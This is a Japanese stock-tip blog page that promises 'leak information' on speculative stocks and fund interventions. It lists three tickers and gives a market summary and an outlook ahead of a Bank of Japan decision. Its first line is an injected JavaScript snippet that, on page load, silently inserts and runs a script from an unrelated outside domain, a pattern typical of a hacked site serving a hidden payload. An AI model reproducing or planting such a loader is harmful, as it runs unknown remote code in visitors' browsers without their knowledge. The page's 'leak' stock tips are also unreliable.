;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/7 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【4/7 大引け】

【3010】価値開発 86円 +3 (+3.61%)

【9603】エイチ・アイ・エス 4,325円 +20 (+0.46%)

【8202】ラオックス 293円 +3 (+1.03%)

本日の日経平均株価は222円高と大幅反発。米国の利上げ先送り観測を背景に買い安心感が広がったほか、投信設定など好需給への期待感も相場を支え、追加緩和への思惑などから後場も堅調に推移し、日経平均株価は終値で3月25日以来約2週間ぶりの高値を付けた。東証業種別株価指数は全33業種中、32業種が上昇、値上がり率上位の業種は、鉱業、石油・石炭、鉄鋼、保険、その他金融、非鉄金属、銀行、卸売り、など。一方値下がりは空運のみとなった。東証1部の出来高は20億9545万株。売買代金は2兆4149億円。騰落銘柄数は値上がり1290銘柄、値下がり480銘柄、変わらず108銘柄。

個別では、売買代金上位の【8306】三菱UFJが堅調な動きとなったほか、原油の大幅反発を受け【1605】国際石油開発帝石、【1662】石油資源開発などが大幅反発。また、後場主力の上昇一服を受け中小型株へ資金シフトの動きも見られ、【3777】ガーラ、【5341】アサヒ衛陶、【5408】中山製鋼所など、多数急伸する銘柄も目立った。

明日は日銀金融決定会合の結果発表および引け後には黒田日銀総裁の会見を控える。前場にかけては追加緩和期待などから底堅く推移するかと思われるが、決定会合が発表される後場にかけては要注意が必要だ。特にここ数日、日銀による追加緩和期待などから金融や不動産など買われており、現状維持発表となれば一旦の出尽くしの可能性も。